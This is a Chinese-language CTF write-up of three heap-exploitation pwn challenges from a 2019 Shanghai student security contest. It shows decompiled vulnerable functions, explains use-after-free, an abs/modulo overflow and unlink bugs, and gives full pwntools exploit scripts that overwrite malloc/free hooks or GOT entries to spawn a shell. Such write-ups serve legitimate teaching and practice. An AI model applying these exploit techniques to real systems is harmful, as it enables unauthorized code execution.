2019上海大学生信息安全竞赛pwn题解

boring_heap

挺不错的一题

先看一眼保护–全开

程序功能:

1
2
3
4
5
1.Add
2.Update
3.Delete
4.View
5.Exit

程序漏洞主要存在update函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 update()
{
int v0; // ST04_4
int id; // [rsp+0h] [rbp-10h]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Which one do you want to update?");
id = abs(read_int()) % 30;
if ( chunk_bss[id] && (size_bss[id] == 0x20 || size_bss[id] == 0x30 || size_bss[id] == 0x40) )
{
puts("Where you want to update?");
v0 = abs(read_int()) % size_bss[id];
puts("Input Content:");
read_n((chunk_bss[id] + v0), size_bss[id] - v0);
}
else
{
puts("Invalid Index!");
}
return __readfsqword(0x28u) ^ v3;
}

这里abs函数取绝对值可以用0x80000000绕过(abs(0x80000000) = 0x80000000)但是后面再%size,写个c验证一下可以发现

1
2
3
0x80000000 % 0x30 = 0
0x80000000 % 0x40 = -0x20
0x80000000 % 0x50 = 0

所以这里就存在了一个向上溢出0x20大小的空间,所以就可以修改到size

再来看delete函数中,UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 delete()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Which one do you want to delete?");
v1 = abs(read_int()) % 30;
if ( !chunk_bss[v1] || size_bss[v1] != 32 && size_bss[v1] != 48 && size_bss[v1] != 64 )
{
puts("Invalid Index!");
exit(1);
}
free(chunk_bss[v1]); // UAF
chunk_bss[v1] = 0LL;
size_bss[v1] = 0;
return __readfsqword(0x28u) ^ v2;
}

到这里就可以拿到libc了,但是因为add限制了size为0x30,0x40,0x50并不能申请0x60,也就是不能直接通过UAF申请到malloc_hook上方的fack_chunk来覆盖malloc_hook为onegadget;

这里换一种思路,修改top_chunk到malloc_hook:

众所周知glibc分箱式管理中,fastbin链保存在main_arena上,所以可以通过UAF留个0x51,再将main_arena申请出来修改main_arena+88为malloc_hook上方即可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#coding:utf-8
from pwn import *
context.log_level = 'debug'
local = 0
if local:
p = process('./pwn')
elf = ELF('./pwn')
libc = elf.libc
else:
p = remote("8sdafgh.gamectf.com","10001")
elf = ELF('./pwn')
libc = elf.libc
#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x2020c0)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

def add(size,message):
sla("Exit\n",'1')
sla("Large\n",str(size))
sda("Content:\n",message)

def update(idx,where,message):
sla("Exit\n",'2')
sla("update?\n",str(idx))
sla("update?\n",str(where))
sla("Content:\n",message)

def delete(idx):
sla("Exit\n",'3')
sla("delete?\n",str(idx))

def show(idx):
sla("Exit\n",'4')
sla("view?\n",str(idx))

one = [0x45216,0x4526a,0xf02a4,0xf1147]
size_bss = 0x202040
chunk_bss = 0x2020C0
num = 0x202024
add(2,'rabbit\n')#0
add(2,'rabbit\n')#1
add(2,'n0va\n')#2
add(2,'abcd\n')#3
add(3,'R4bb1t\n')#4
add(3,'\n')#5
# debug(0x103D)
update(1,0x80000000,'a'*0x10 + p64(0) + p64(0x111))
delete(1)
add(2,'\n')#6
show(6)
main_arena = u64(rc(6).ljust(8,'\x00'))#-234
libc_base = main_arena - 0x3c4c0a
onegadget = libc_base + one[3]
malloc_hook = libc_base + libc.symbols['__malloc_hook']
fack_chunk = malloc_hook - 0x23
log.warn("malloc_hook --> %s",hex(malloc_hook))
log.warn("main_arena --> %s",hex(main_arena-234))
log.warn("libc_base --> %s",hex(libc_base))

add(2,'\n')#7-2
add(2,'\n')#8-3
add(3,'\n')#9-4
delete(2)

delete(4)
update(7,0,p64(0x51))
add(2,'\n')#10
update(9,0,p64(main_arena+0x10-234))
add(3,'\n')#11
# debug(0xca8)
add(3,p64(0)*7 + p64(malloc_hook-0x23))
add(3,0x13*'a' + p64(onegadget) + '\n')
sla("Exit\n",'1')
sla("Large\n",str(1))
# debug()
p.interactive()

login

Delete功能中存在UAF,login功能中只要登录成功就会打印出密码

那么,我们就可以通过login功能一位一位地爆破出密码,因为没开PIE,所以可以直接爆出free@got,再UAF修改free_hook为system即可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
context.log_level = 'debug'
p = process('./login')
elf = ELF('./login')
libc = elf.libc

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

def login(idx,l,pwd,flag = 0):
if flag:
sl('1')
else:
sla("Choice:\n",'1')
sla("id:\n",str(idx))
sla("length:\n",str(l))
sda("password:\n",pwd)

def register(idx,l,pwd,flag = 0):
sla("Choice:\n",'2')
sla("id:\n",str(idx))
sla("length:\n",str(l))
if flag:
sda("password:\n",pwd)
else:
sla("password:\n",pwd)

def delete(idx):
sla("Choice:\n",'3')
sla("id:\n",str(idx))

def edit(idx,pwd):
sla("Choice:\n",'4')
sla("id:\n",str(idx))
sda("pass:\n",pwd)

addr = elf.got['free']
register(0,0x88,'R4bb1t')
delete(0)
# gdb.attach(p)
register(1,0x18,p64(addr+5),1)
pwd = '\x7f'
# gdb.attach(p)
login(0,1,pwd)

for i in range(5):
edit(1,p64(addr+(4-i)))
for j in range(1,0x100):
login(0,i+2,chr(j) + pwd,1)
if "success!" in p.recvuntil('\n'):
pwd = chr(j) + pwd
break

print pwd
pause()

free_addr = u64(pwd.ljust(8,'\x00'))
libc_base = free_addr - libc.symbols['free']
system = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
log.warn("free_addr --> %s",hex(free_addr))
log.warn("libc_base --> %s",hex(libc_base))

edit(1,p64(free_hook))
register(2,0x48,'/bin/sh\x00')
edit(0,p64(system))
delete(2)
p.interactive()

slient_note

好可惜的一题,可能太久没利用got表泄漏地址,迟钝了

checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

可以看到RELOR强度只开到Partial,也就是说got 表可改

再来看一下功能

Add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 sub_400AEC()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Which kind of note do you want to add?");
sub_400AAA("Which kind of note do you want to add?");
v1 = 0;
__isoc99_scanf("%d", &v1);
if ( v1 == 1 )
{
ptr = calloc(0x28uLL, 1uLL);
puts("Content:");
sub_400999(ptr, 40LL);
}
else if ( v1 == 2 )
{
qword_6020D8 = calloc(0x208uLL, 1uLL);
puts("Content:");
sub_400999(qword_6020D8, 520LL);
}
puts("finish!");
return __readfsqword(0x28u) ^ v2;
}

只能申请两种大小的堆0x280x208,而且用calloc,也就是申请后会清空内容,两种大小的块用两个全局变量存放,且都只能放一个

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 sub_400BCF()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Which kind of note do you want to delete?");
sub_400AAA("Which kind of note do you want to delete?");
v1 = 0;
__isoc99_scanf("%d", &v1);
if ( v1 == 1 && ptr )
{
free(ptr);
}
else if ( v1 == 2 && qword_6020D8 )
{
free(qword_6020D8);
}
puts("finish!");
return __readfsqword(0x28u) ^ v2;
}

存在UAF

思路:unlink然后修改got表得到地址,再将free@got修改为system ,free(‘/bin/sh\x00’) get shell

具体操作就不多解释了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#coding:utf-8
from pwn import *
context.log_level = 'debug'
local = 1
if local:
p = process('./pwn')
elf = ELF('./pwn')
libc = elf.libc
else:
p = remote("")
# elf = ELF('./')
#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
def add(size,message):
sla("Exit\n",'1')
sla("Large\n",str(size))
sda("Content:\n",message)

def delete(size):
sla("Exit\n",'2')
sla("Large\n",str(size))

def edit(size,message):
sla("Exit\n",'3')
sla("Large\n",str(size))
sda("Content:\n",message)

chunk = 0x6020D8
one = [0x45216,0x4526a,0xf02a4,0xf1147]
add(2,'\n')
add(1,'\n')
add(1,'\n')
add(1,'\n')
delete(2)
for i in range(0xb):
add(1,'\n')

pay = p64(0) + p64(0x1d0)
pay += p64(chunk-0x18) + p64(chunk-0x10)
pay = pay.ljust(0x1d0,'a')
pay += p64(0x1d0) + p64(0x90) + '\n'
edit(2,pay)
delete(1)
pay = p64(0)*2 + p64(elf.got['free']) + p64(elf.got['calloc']) + '\n'
edit(2,pay)
edit(1,p64(elf.plt['puts']) + '\n')
delete(2)

calloc_addr = u64(rc(6).ljust(8,'\x00'))
libc_base = calloc_addr - libc.symbols['calloc']
system = libc_base + libc.symbols['system']
log.warn("calloc_addr --> %s",hex(calloc_addr))
edit(1,p64(system) + '\n')
edit(2,'/bin/sh\x00' + '\n')
delete(2)
# debug()
p.interactive()
0%